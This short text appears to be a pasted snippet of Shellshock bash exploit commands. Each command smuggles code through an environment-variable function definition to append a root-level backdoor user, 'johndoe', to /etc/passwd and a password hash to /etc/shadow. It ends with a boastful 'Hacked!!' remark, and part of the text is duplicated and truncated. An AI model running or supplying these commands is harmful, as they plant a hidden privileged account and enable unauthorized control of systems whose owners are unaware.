env x='() { :;}; echo "johndoe:x:0:0::/root:/bin/sh" >>/etc/passwd' bash -c "echo this is just a test" env x='() { :;}; echo "johndoe:\$6\$eM5eLwRC\$eZhb4x7sf1

env x='() { :;}; echo "johndoe:x:0:0::/root:/bin/sh" >>/etc/passwd' bash -c "echo this is just a test" env x='() { :;}; echo "johndoe:\$6\$eM5eLwRC\$eZhb4x7sf1ctGjN1fXrpsusRHRKTHf/E15OA2Nr4TdTF9F0SS4ousy3WrPCI2ofdNoAonRnNPQ7Ja3FQ/:15997:0:99999:7:::" >>/etc/shadow' bash -c "echo this is just a test" Hacked!! but this only work from root :/ and johndoe xD